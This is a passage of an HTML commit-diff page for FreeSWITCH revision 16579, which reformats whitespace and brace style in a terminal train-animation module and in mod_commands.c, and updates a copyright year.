</span><del>-    extern int ACCIDENT, FLY;
</del><ins>+        extern int ACCIDENT, FLY;
</ins><span class="cx"> 
</span><del>-    while (*str != '\0') {
</del><ins>+        while (*str != '\0') {
</ins><span class="cx">                 switch (*str++) {
</span><del>-            case 'a': ACCIDENT = 1; break;
-            case 'F': FLY      = 1; break;
-            case 'l': LOGO     = 1; break;
-            default:                break;
</del><ins>+                case 'a':
+                        ACCIDENT = 1;
+                        break;
+                case 'F':
+                        FLY = 1;
+                        break;
+                case 'l':
+                        LOGO = 1;
+                        break;
+                default:
+                        break;
</ins><span class="cx">                 }
</span><del>-    }
</del><ins>+        }
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> int go(int i)
</span><span class="cx"> {
</span><del>-    int x;
</del><ins>+        int x;
</ins><span class="cx">         int sleep_len = 40000;
</span><span class="cx"> 
</span><span class="cx">         if (i &gt; 0) {
</span><span class="lines">@@ -171,23 +180,25 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         /*
</span><del>-    for (i = 1; i &lt; argc; ++i) {
-                if (*argv[i] == '-') {
-                        option(argv[i] + 1);
-                }
-    }
-        */
-    initscr();
-    signal(SIGINT, SIG_IGN);
-    noecho();
-    leaveok(stdscr, TRUE);
-    scrollok(stdscr, FALSE);
</del><ins>+           for (i = 1; i &lt; argc; ++i) {
+           if (*argv[i] == '-') {
+           option(argv[i] + 1);
+           }
+           }
+         */
+        initscr();
+        signal(SIGINT, SIG_IGN);
+        noecho();
+        leaveok(stdscr, TRUE);
+        scrollok(stdscr, FALSE);
</ins><span class="cx"> 
</span><del>-    for (x = COLS - 1; ; --x) {
</del><ins>+        for (x = COLS - 1;; --x) {
</ins><span class="cx">                 if (LOGO == 0) {
</span><del>-                        if (add_D51(x) == ERR) break;
</del><ins>+                        if (add_D51(x) == ERR)
+                                break;
</ins><span class="cx">                 } else {
</span><del>-                        if (add_sl(x) == ERR) break;
</del><ins>+                        if (add_sl(x) == ERR)
+                                break;
</ins><span class="cx">                 }
</span><span class="cx">                 refresh();
</span><span class="cx">                 if (x == COLS / 4) {
</span><span class="lines">@@ -195,9 +206,9 @@
</span><span class="cx">                 } else {
</span><span class="cx">                         usleep(sleep_len);
</span><span class="cx">                 }
</span><del>-    }
-    mvcur(0, COLS - 1, LINES - 1, 0);
-    endwin();
</del><ins>+        }
+        mvcur(0, COLS - 1, LINES - 1, 0);
+        endwin();
</ins><span class="cx"> 
</span><span class="cx">         return 0;
</span><span class="cx"> }
</span><span class="lines">@@ -205,20 +216,20 @@
</span><span class="cx"> 
</span><span class="cx"> int vgo(int i, switch_core_session_t *session)
</span><span class="cx"> {
</span><del>-    int x;
</del><ins>+        int x;
</ins><span class="cx">         int sleep_len = 40000;
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_frame_t *read_frame;
</span><span class="cx">         switch_status_t status;
</span><del>-    switch_codec_implementation_t read_impl = {0};
-        switch_codec_t codec = {0};
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
+        switch_codec_t codec = { 0 };
</ins><span class="cx">         int hangover_hits = 0, hangunder_hits = 0;
</span><span class="cx">         int diff_level = 400;
</span><span class="cx">         int hangover = 40, hangunder = 15;
</span><span class="cx">         int talking = 0;
</span><span class="cx">         int energy_level = 500;
</span><span class="cx">         int done = 0;
</span><del>-    switch_core_session_get_read_impl(session, &amp;read_impl);
</del><ins>+        switch_core_session_get_read_impl(session, &amp;read_impl);
</ins><span class="cx"> 
</span><span class="cx">         printf(&quot;%s&quot;, SWITCH_SEQ_CLEARSCR);
</span><span class="cx"> 
</span><span class="lines">@@ -226,16 +237,16 @@
</span><span class="cx">                 sleep_len = i;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-    initscr();
-    signal(SIGINT, SIG_IGN);
-    noecho();
-    leaveok(stdscr, TRUE);
-    scrollok(stdscr, FALSE);
</del><ins>+        initscr();
+        signal(SIGINT, SIG_IGN);
+        noecho();
+        leaveok(stdscr, TRUE);
+        scrollok(stdscr, FALSE);
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx">         if (switch_core_codec_init(&amp;codec,
</span><span class="cx">                                                            &quot;L16&quot;,
</span><del>-                                                           NULL, (int) read_impl.samples_per_second, read_impl.microseconds_per_packet / 1000, 
</del><ins>+                                                           NULL, (int) read_impl.samples_per_second, read_impl.microseconds_per_packet / 1000,
</ins><span class="cx">                                                            1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL,
</span><span class="cx">                                                            switch_core_session_get_pool(session)) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 return -1;
</span><span class="lines">@@ -243,28 +254,27 @@
</span><span class="cx"> 
</span><span class="cx">         switch_core_session_set_read_codec(session, &amp;codec);
</span><span class="cx"> 
</span><del>-    for (x = COLS - 1; ; --x) {
</del><ins>+        for (x = COLS - 1;; --x) {
</ins><span class="cx"> 
</span><span class="cx">                 if (!done &amp;&amp; !switch_channel_ready(channel)) {
</span><span class="cx">                         done = 1;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!done) {
</span><span class="cx">                         status = switch_core_session_read_frame(session, &amp;read_frame, SWITCH_IO_FLAG_NONE, 0);
</span><span class="cx">                         if (!SWITCH_READ_ACCEPTABLE(status)) {
</span><span class="cx">                                 done = 1;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
-                if (!done)
-                {
</del><ins>+
+                if (!done) {
</ins><span class="cx">                         int16_t *fdata = (int16_t *) read_frame-&gt;data;
</span><span class="cx">                         uint32_t samples = read_frame-&gt;datalen / sizeof(*fdata);
</span><span class="cx">                         uint32_t score, count = 0, j = 0;
</span><span class="cx">                         double energy = 0;
</span><span class="cx">                         int divisor = 0;
</span><span class="cx"> 
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         for (count = 0; count &lt; samples; count++) {
</span><span class="cx">                                 energy += abs(fdata[j]);
</span><span class="cx">                                 j += read_impl.number_of_channels;
</span><span class="lines">@@ -275,7 +285,7 @@
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                         score = (uint32_t) (energy / (samples / divisor));
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (score &gt; energy_level) {
</span><span class="cx">                                 uint32_t diff = score - energy_level;
</span><span class="cx">                                 if (hangover_hits) {
</span><span class="lines">@@ -284,7 +294,7 @@
</span><span class="cx"> 
</span><span class="cx">                                 if (diff &gt;= diff_level || ++hangunder_hits &gt;= hangunder) {
</span><span class="cx">                                         hangover_hits = hangunder_hits = 0;
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (!talking) {
</span><span class="cx">                                                 talking = 1;
</span><span class="cx">                                         }
</span><span class="lines">@@ -310,22 +320,24 @@
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 if (LOGO == 0) {
</span><del>-                        if (add_D51(x) == ERR) break;
</del><ins>+                        if (add_D51(x) == ERR)
+                                break;
</ins><span class="cx">                 } else {
</span><del>-                        if (add_sl(x) == ERR) break;
</del><ins>+                        if (add_sl(x) == ERR)
+                                break;
</ins><span class="cx">                 }
</span><span class="cx">                 refresh();
</span><span class="cx"> 
</span><span class="cx">                 /*
</span><del>-                if (x == COLS / 4) {
-                        sleep(2);
-                } else {
-                        usleep(sleep_len);
-                }
-                */
-    }
-    mvcur(0, COLS - 1, LINES - 1, 0);
-    endwin();
</del><ins>+                   if (x == COLS / 4) {
+                   sleep(2);
+                   } else {
+                   usleep(sleep_len);
+                   }
+                 */
+        }
+        mvcur(0, COLS - 1, LINES - 1, 0);
+        endwin();
</ins><span class="cx"> 
</span><span class="cx">         switch_core_session_set_read_codec(session, NULL);
</span><span class="cx">         switch_core_codec_destroy(&amp;codec);
</span><span class="lines">@@ -335,103 +347,114 @@
</span><span class="cx"> 
</span><span class="cx"> int add_sl(int x)
</span><span class="cx"> {
</span><del>-    static char *sl[LOGOPATTERNS][LOGOHIGHT + 1]
-                = {{LOGO1, LOGO2, LOGO3, LOGO4, LWHL11, LWHL12, DELLN},
-                   {LOGO1, LOGO2, LOGO3, LOGO4, LWHL21, LWHL22, DELLN},
-                   {LOGO1, LOGO2, LOGO3, LOGO4, LWHL31, LWHL32, DELLN},
-                   {LOGO1, LOGO2, LOGO3, LOGO4, LWHL41, LWHL42, DELLN},
-                   {LOGO1, LOGO2, LOGO3, LOGO4, LWHL51, LWHL52, DELLN},
-                   {LOGO1, LOGO2, LOGO3, LOGO4, LWHL61, LWHL62, DELLN}};
</del><ins>+        static char *sl[LOGOPATTERNS][LOGOHIGHT + 1]
+        = { {LOGO1, LOGO2, LOGO3, LOGO4, LWHL11, LWHL12, DELLN},
+        {LOGO1, LOGO2, LOGO3, LOGO4, LWHL21, LWHL22, DELLN},
+        {LOGO1, LOGO2, LOGO3, LOGO4, LWHL31, LWHL32, DELLN},
+        {LOGO1, LOGO2, LOGO3, LOGO4, LWHL41, LWHL42, DELLN},
+        {LOGO1, LOGO2, LOGO3, LOGO4, LWHL51, LWHL52, DELLN},
+        {LOGO1, LOGO2, LOGO3, LOGO4, LWHL61, LWHL62, DELLN}
+        };
</ins><span class="cx"> 
</span><del>-    static char *coal[LOGOHIGHT + 1]
-                = {LCOAL1, LCOAL2, LCOAL3, LCOAL4, LCOAL5, LCOAL6, DELLN};
</del><ins>+        static char *coal[LOGOHIGHT + 1]
+        = { LCOAL1, LCOAL2, LCOAL3, LCOAL4, LCOAL5, LCOAL6, DELLN };
</ins><span class="cx"> 
</span><del>-    static char *car[LOGOHIGHT + 1]
-                = {LCAR1, LCAR2, LCAR3, LCAR4, LCAR5, LCAR6, DELLN};
</del><ins>+        static char *car[LOGOHIGHT + 1]
+        = { LCAR1, LCAR2, LCAR3, LCAR4, LCAR5, LCAR6, DELLN };
</ins><span class="cx"> 
</span><del>-    int i, y, py1 = 0, py2 = 0, py3 = 0;
-    
-    if (x &lt; - LOGOLENGTH)  return ERR;
-    y = LINES / 2 - 3;
</del><ins>+        int i, y, py1 = 0, py2 = 0, py3 = 0;
</ins><span class="cx"> 
</span><del>-    if (FLY == 1) {
</del><ins>+        if (x &lt; -LOGOLENGTH)
+                return ERR;
+        y = LINES / 2 - 3;
+
+        if (FLY == 1) {
</ins><span class="cx">                 y = (x / 6) + LINES - (COLS / 6) - LOGOHIGHT;
</span><del>-                py1 = 2;  py2 = 4;  py3 = 6;
-    }
</del><ins>+                py1 = 2;
+                py2 = 4;
+                py3 = 6;
+        }
</ins><span class="cx"> 
</span><del>-    for (i = 0; i &lt;= LOGOHIGHT; ++i) {
</del><ins>+        for (i = 0; i &lt;= LOGOHIGHT; ++i) {
</ins><span class="cx">                 my_mvaddstr(y + i, x, sl[(LOGOLENGTH + x) / 3 % LOGOPATTERNS][i]);
</span><span class="cx">                 my_mvaddstr(y + i + py1, x + 21, coal[i]);
</span><span class="cx">                 my_mvaddstr(y + i + py2, x + 42, car[i]);
</span><span class="cx">                 my_mvaddstr(y + i + py3, x + 63, car[i]);
</span><del>-    }
-    if (ACCIDENT == 1) {
</del><ins>+        }
+        if (ACCIDENT == 1) {
</ins><span class="cx">                 add_man(y + 1, x + 14);
</span><del>-                add_man(y + 1 + py2, x + 45);  add_man(y + 1 + py2, x + 53);
-                add_man(y + 1 + py3, x + 66);  add_man(y + 1 + py3, x + 74);
-    }
-    add_smoke(y - 1, x + LOGOFUNNEL);
-    return OK;
</del><ins>+                add_man(y + 1 + py2, x + 45);
+                add_man(y + 1 + py2, x + 53);
+                add_man(y + 1 + py3, x + 66);
+                add_man(y + 1 + py3, x + 74);
+        }
+        add_smoke(y - 1, x + LOGOFUNNEL);
+        return OK;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static int loops = 0;
</span><span class="cx"> 
</span><span class="cx"> int add_D51(int x)
</span><span class="cx"> {
</span><del>-    static char *d51[D51PATTERNS][D51HIGHT + 1]
-                = {{D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
-                        D51WHL11, D51WHL12, D51WHL13, D51DEL},
-                   {D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
-                        D51WHL21, D51WHL22, D51WHL23, D51DEL},
-                   {D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
-                        D51WHL31, D51WHL32, D51WHL33, D51DEL},
-                   {D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
-                        D51WHL41, D51WHL42, D51WHL43, D51DEL},
-                   {D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
-                        D51WHL51, D51WHL52, D51WHL53, D51DEL},
-                   {D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
-                        D51WHL61, D51WHL62, D51WHL63, D51DEL}};
-    static char *coal[D51HIGHT + 1]
-                = {COAL01, COAL02, COAL03, COAL04, COAL05,
-                   COAL06, COAL07, COAL08, COAL09, COAL10, COALDEL};
</del><ins>+        static char *d51[D51PATTERNS][D51HIGHT + 1]
+                = { {D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
+                         D51WHL11, D51WHL12, D51WHL13, D51DEL},
+        {D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
+         D51WHL21, D51WHL22, D51WHL23, D51DEL},
+        {D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
+         D51WHL31, D51WHL32, D51WHL33, D51DEL},
+        {D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
+         D51WHL41, D51WHL42, D51WHL43, D51DEL},
+        {D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
+         D51WHL51, D51WHL52, D51WHL53, D51DEL},
+        {D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
+         D51WHL61, D51WHL62, D51WHL63, D51DEL}
+        };
+        static char *coal[D51HIGHT + 1]
+                = { COAL01, COAL02, COAL03, COAL04, COAL05,
+                COAL06, COAL07, COAL08, COAL09, COAL10, COALDEL
+        };
</ins><span class="cx"> 
</span><del>-    static char *acoal[D51HIGHT + 1]
-                = {COAL01, COAL02, COAL03, COAL04, COAL5A,
-                   COAL06, COAL07, COAL08, COAL09, COAL10, COALDEL};
</del><ins>+        static char *acoal[D51HIGHT + 1]
+                = { COAL01, COAL02, COAL03, COAL04, COAL5A,
+                COAL06, COAL07, COAL08, COAL09, COAL10, COALDEL
+        };
</ins><span class="cx"> 
</span><del>-    int y, i, dy = 0;
</del><ins>+        int y, i, dy = 0;
</ins><span class="cx"> 
</span><del>-    if (x &lt; - D51LENGTH)  return ERR;
-    y = LINES / 2 - 5;
</del><ins>+        if (x &lt; -D51LENGTH)
+                return ERR;
+        y = LINES / 2 - 5;
</ins><span class="cx"> 
</span><del>-    if (FLY == 1) {
</del><ins>+        if (FLY == 1) {
</ins><span class="cx">                 y = (x / 7) + LINES - (COLS / 7) - D51HIGHT;
</span><span class="cx">                 dy = 1;
</span><del>-    }
</del><ins>+        }
</ins><span class="cx"> 
</span><del>-    for (i = 0; i &lt;= D51HIGHT; ++i) {
</del><ins>+        for (i = 0; i &lt;= D51HIGHT; ++i) {
</ins><span class="cx">                 my_mvaddstr(y + i, x, d51[(D51LENGTH + x) % D51PATTERNS][i]);
</span><span class="cx">                 my_mvaddstr(y + i + dy, x + 53, loops &gt; 60 ? coal[i] : acoal[i]);
</span><span class="cx">                 loops++;
</span><del>-                if (loops == 500) loops =  -100;
-    }
-    if (ACCIDENT == 1) {
</del><ins>+                if (loops == 500)
+                        loops = -100;
+        }
+        if (ACCIDENT == 1) {
</ins><span class="cx">                 add_man(y + 2, x + 43);
</span><span class="cx">                 add_man(y + 2, x + 47);
</span><del>-    }
-    add_smoke(y - 1, x + D51FUNNEL);
-    return OK;
</del><ins>+        }
+        add_smoke(y - 1, x + D51FUNNEL);
+        return OK;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> int add_man(int y, int x)
</span><span class="cx"> {
</span><del>-    static char *man[2][2] = {{&quot;&quot;, &quot;(O)&quot;}, {&quot;Help!&quot;, &quot;\\O/&quot;}};
-    int i;
</del><ins>+        static char *man[2][2] = { {&quot;&quot;, &quot;(O)&quot;}, {&quot;Help!&quot;, &quot;\\O/&quot;} };
+        int i;
</ins><span class="cx"> 
</span><del>-    for (i = 0; i &lt; 2; ++i) {
</del><ins>+        for (i = 0; i &lt; 2; ++i) {
</ins><span class="cx">                 my_mvaddstr(y + i, x, man[(LOGOLENGTH + x) / 12 % 2][i]);
</span><del>-    }
</del><ins>+        }
</ins><span class="cx"> 
</span><span class="cx">         return 0;
</span><span class="cx"> }
</span><span class="lines">@@ -440,45 +463,51 @@
</span><span class="cx"> int add_smoke(int y, int x)
</span><span class="cx"> #define SMOKEPTNS        16
</span><span class="cx"> {
</span><del>-    static struct smokes {
</del><ins>+        static struct smokes {
</ins><span class="cx">                 int y, x;
</span><span class="cx">                 int ptrn, kind;
</span><del>-    } S[1000];
-    static int sum = 0;
-    static char *Smoke[2][SMOKEPTNS]
-                = {{&quot;(   )&quot;, &quot;(    )&quot;, &quot;(    )&quot;, &quot;(   )&quot;, &quot;(  )&quot;,
-                        &quot;(  )&quot; , &quot;( )&quot;   , &quot;( )&quot;   , &quot;()&quot;   , &quot;()&quot;  ,
-                        &quot;O&quot;    , &quot;O&quot;     , &quot;O&quot;     , &quot;O&quot;    , &quot;O&quot;   ,
-                        &quot; &quot;                                          },
-                   {&quot;(@@@)&quot;, &quot;(@@@@)&quot;, &quot;(@@@@)&quot;, &quot;(@@@)&quot;, &quot;(@@)&quot;,
-                        &quot;(@@)&quot; , &quot;(@)&quot;   , &quot;(@)&quot;   , &quot;@@&quot;   , &quot;@@&quot;  ,
-                        &quot;@&quot;    , &quot;@&quot;     , &quot;@&quot;     , &quot;@&quot;    , &quot;@&quot;   ,
-                        &quot; &quot;                                          }};
-    static char *Eraser[SMOKEPTNS]
-                =  {&quot;     &quot;, &quot;      &quot;, &quot;      &quot;, &quot;     &quot;, &quot;    &quot;,
-                        &quot;    &quot; , &quot;   &quot;   , &quot;   &quot;   , &quot;  &quot;   , &quot;  &quot;  ,
-                        &quot; &quot;    , &quot; &quot;     , &quot; &quot;     , &quot; &quot;    , &quot; &quot;   ,
-                        &quot; &quot;                                          };
-    static int dy[SMOKEPTNS] = { 2,  1, 1, 1, 0, 0, 0, 0, 0, 0,
-                                                                 0,  0, 0, 0, 0, 0             };
-    static int dx[SMOKEPTNS] = {-2, -1, 0, 1, 1, 1, 1, 1, 2, 2,
-                                                                2,  2, 2, 3, 3, 3             };
-    int i;
</del><ins>+        } S[1000];
+        static int sum = 0;
+        static char *Smoke[2][SMOKEPTNS]
+                = { {&quot;(   )&quot;, &quot;(    )&quot;, &quot;(    )&quot;, &quot;(   )&quot;, &quot;(  )&quot;,
+                         &quot;(  )&quot;, &quot;( )&quot;, &quot;( )&quot;, &quot;()&quot;, &quot;()&quot;,
+                         &quot;O&quot;, &quot;O&quot;, &quot;O&quot;, &quot;O&quot;, &quot;O&quot;,
+                         &quot; &quot;},
+        {&quot;(@@@)&quot;, &quot;(@@@@)&quot;, &quot;(@@@@)&quot;, &quot;(@@@)&quot;, &quot;(@@)&quot;,
+         &quot;(@@)&quot;, &quot;(@)&quot;, &quot;(@)&quot;, &quot;@@&quot;, &quot;@@&quot;,
+         &quot;@&quot;, &quot;@&quot;, &quot;@&quot;, &quot;@&quot;, &quot;@&quot;,
+         &quot; &quot;}
+        };
+        static char *Eraser[SMOKEPTNS]
+                = { &quot;     &quot;, &quot;      &quot;, &quot;      &quot;, &quot;     &quot;, &quot;    &quot;,
+                &quot;    &quot;, &quot;   &quot;, &quot;   &quot;, &quot;  &quot;, &quot;  &quot;,
+                &quot; &quot;, &quot; &quot;, &quot; &quot;, &quot; &quot;, &quot; &quot;,
+                &quot; &quot;
+        };
+        static int dy[SMOKEPTNS] = { 2, 1, 1, 1, 0, 0, 0, 0, 0, 0,
+                0, 0, 0, 0, 0, 0
+        };
+        static int dx[SMOKEPTNS] = { -2, -1, 0, 1, 1, 1, 1, 1, 2, 2,
+                2, 2, 2, 3, 3, 3
+        };
+        int i;
</ins><span class="cx"> 
</span><del>-    if (x % 4 == 0) {
</del><ins>+        if (x % 4 == 0) {
</ins><span class="cx">                 for (i = 0; i &lt; sum; ++i) {
</span><span class="cx">                         my_mvaddstr(S[i].y, S[i].x, Eraser[S[i].ptrn]);
</span><del>-                        S[i].y    -= dy[S[i].ptrn];
-                        S[i].x    += dx[S[i].ptrn];
</del><ins>+                        S[i].y -= dy[S[i].ptrn];
+                        S[i].x += dx[S[i].ptrn];
</ins><span class="cx">                         S[i].ptrn += (S[i].ptrn &lt; SMOKEPTNS - 1) ? 1 : 0;
</span><span class="cx">                         my_mvaddstr(S[i].y, S[i].x, Smoke[S[i].kind][S[i].ptrn]);
</span><span class="cx">                 }
</span><span class="cx">                 my_mvaddstr(y, x, Smoke[sum % 2][0]);
</span><del>-                S[sum].y = y;    S[sum].x = x;
-                S[sum].ptrn = 0; S[sum].kind = sum % 2;
-                sum ++;
-    }
-        
</del><ins>+                S[sum].y = y;
+                S[sum].x = x;
+                S[sum].ptrn = 0;
+                S[sum].kind = sum % 2;
+                sum++;
+        }
+
</ins><span class="cx">         return 0;
</span><span class="cx"> }
</span><span class="cx"> 
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_commandsmod_commandsc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_commands/mod_commands.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_commands/mod_commands.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_commands/mod_commands.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -53,7 +53,7 @@
</span><span class="cx"> 
</span><span class="cx"> SWITCH_STANDARD_API(hostname_api_function)
</span><span class="cx"> {
</span><del>-        char hostname[256]=&quot;&quot;;
</del><ins>+        char hostname[256] = &quot;&quot;;
</ins><span class="cx">         gethostname(hostname, sizeof(hostname));
</span><span class="cx">         stream-&gt;write_function(stream, &quot;%s&quot;, hostname);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -77,14 +77,15 @@
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_STANDARD_API(db_cache_function) {
</del><ins>+SWITCH_STANDARD_API(db_cache_function)
+{
</ins><span class="cx">         int argc;
</span><span class="cx">         char *mydata = NULL, *argv[2];
</span><span class="cx"> 
</span><span class="cx">         if (zstr(cmd)) {
</span><span class="cx">                 goto error;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         mydata = strdup(cmd);
</span><span class="cx">         switch_assert(mydata);
</span><span class="cx"> 
</span><span class="lines">@@ -99,12 +100,12 @@
</span><span class="cx">         } else {
</span><span class="cx">                 goto error;
</span><span class="cx">         }
</span><del>-        
-error:
-                stream-&gt;write_function(stream, &quot;%s&quot;, &quot;parameter missing\n&quot;);
-ok:
-                switch_safe_free(mydata);
-                return SWITCH_STATUS_SUCCESS;
</del><ins>+
+  error:
+        stream-&gt;write_function(stream, &quot;%s&quot;, &quot;parameter missing\n&quot;);
+  ok:
+        switch_safe_free(mydata);
+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_STANDARD_API(host_lookup_function)
</span><span class="lines">@@ -136,7 +137,7 @@
</span><span class="cx">         if (!cmd) {
</span><span class="cx">                 goto error;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!switch_nat_is_initialized()) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;nat_map API called while NAT not initialized\n&quot;);
</span><span class="cx">                 goto error;
</span><span class="lines">@@ -166,7 +167,7 @@
</span><span class="cx">                 switch_safe_free(tmp);
</span><span class="cx">                 goto ok;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (argc &lt; 3) {
</span><span class="cx">                 goto error;
</span><span class="cx">         }
</span><span class="lines">@@ -176,18 +177,18 @@
</span><span class="cx">         } else if (argv[2] &amp;&amp; switch_stristr(&quot;udp&quot;, argv[2])) {
</span><span class="cx">                 proto = SWITCH_NAT_UDP;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (argv[3] &amp;&amp; switch_stristr(&quot;sticky&quot;, argv[3])) {
</span><span class="cx">                 sticky = SWITCH_TRUE;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (argv[0] &amp;&amp; switch_stristr(&quot;add&quot;, argv[0])) {
</span><del>-                if (switch_nat_add_mapping((switch_port_t)atoi(argv[1]), proto, &amp;external_port, sticky) == SWITCH_STATUS_SUCCESS) {
-                        stream-&gt;write_function(stream, &quot;true&quot;); /* still return true */
</del><ins>+                if (switch_nat_add_mapping((switch_port_t) atoi(argv[1]), proto, &amp;external_port, sticky) == SWITCH_STATUS_SUCCESS) {
+                        stream-&gt;write_function(stream, &quot;true&quot;);        /* still return true */
</ins><span class="cx">                         goto ok;
</span><span class="cx">                 }
</span><span class="cx">         } else if (argv[0] &amp;&amp; switch_stristr(&quot;del&quot;, argv[0])) {
</span><del>-                if (switch_nat_del_mapping((switch_port_t)atoi(argv[1]), proto) == SWITCH_STATUS_SUCCESS) {
</del><ins>+                if (switch_nat_del_mapping((switch_port_t) atoi(argv[1]), proto) == SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                         stream-&gt;write_function(stream, &quot;true&quot;);
</span><span class="cx">                         goto ok;
</span><span class="cx">                 }
</span><span class="lines">@@ -213,7 +214,7 @@
</span><span class="cx">         int diff;
</span><span class="cx">         int max = 10, a = 0;
</span><span class="cx">         char *p;
</span><del>-        if (zstr(cmd)){
</del><ins>+        if (zstr(cmd)) {
</ins><span class="cx">                 stream-&gt;write_function(stream, &quot;parameter missing\n&quot;);
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><span class="lines">@@ -225,7 +226,7 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if ((p = strchr(cmd, ' '))) {
</span><del>-                if ((a = atoi(p+1)) &gt; 0) {
</del><ins>+                if ((a = atoi(p + 1)) &gt; 0) {
</ins><span class="cx">                         max = a;
</span><span class="cx">                         if (max &gt; 100) {
</span><span class="cx">                                 max = 100;
</span><span class="lines">@@ -262,7 +263,7 @@
</span><span class="cx">         const char *timer_name = &quot;soft&quot;;
</span><span class="cx">         switch_memory_pool_t *pool;
</span><span class="cx">         char *mycmd = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_core_new_memory_pool(&amp;pool);
</span><span class="cx"> 
</span><span class="cx">         if (zstr(cmd)) {
</span><span class="lines">@@ -272,7 +273,7 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         argc = switch_split(mycmd, ' ', argv);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (argc &gt; 0) {
</span><span class="cx">                 mss = atoi(argv[0]);
</span><span class="cx">         }
</span><span class="lines">@@ -292,14 +293,12 @@
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;parameter missing: %s\n&quot;, TIMER_TEST_SYNTAX);
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><del>-        
-        if (switch_core_timer_init(&amp;timer, 
-                                                           timer_name, mss, 
-                                                           1, pool) != SWITCH_STATUS_SUCCESS) {
</del><ins>+
+        if (switch_core_timer_init(&amp;timer, timer_name, mss, 1, pool) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 stream-&gt;write_function(stream, &quot;Timer Error!\n&quot;);
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><del>-                                                  
</del><ins>+
</ins><span class="cx">         start = switch_time_now();
</span><span class="cx">         for (x = 1; x &lt;= max; x++) {
</span><span class="cx">                 then = switch_time_now();
</span><span class="lines">@@ -311,16 +310,17 @@
</span><span class="cx">                 total += diff;
</span><span class="cx">         }
</span><span class="cx">         end = switch_time_now();
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_yield(250000);
</span><span class="cx"> 
</span><del>-        stream-&gt;write_function(stream, &quot;Avg: %0.3fms Total Time: %0.3fms\n&quot;, (float)((float)(total / (x &gt; 1 ? x - 1 : 1)) / 1000), (float)((float)(end - start)/1000));
</del><ins>+        stream-&gt;write_function(stream, &quot;Avg: %0.3fms Total Time: %0.3fms\n&quot;, (float) ((float) (total / (x &gt; 1 ? x - 1 : 1)) / 1000),
+                                                   (float) ((float) (end - start) / 1000));
</ins><span class="cx"> 
</span><del>- end:
-        
</del><ins>+  end:
+
</ins><span class="cx">         switch_core_destroy_memory_pool(&amp;pool);
</span><del>-                
</del><span class="cx"> 
</span><ins>+
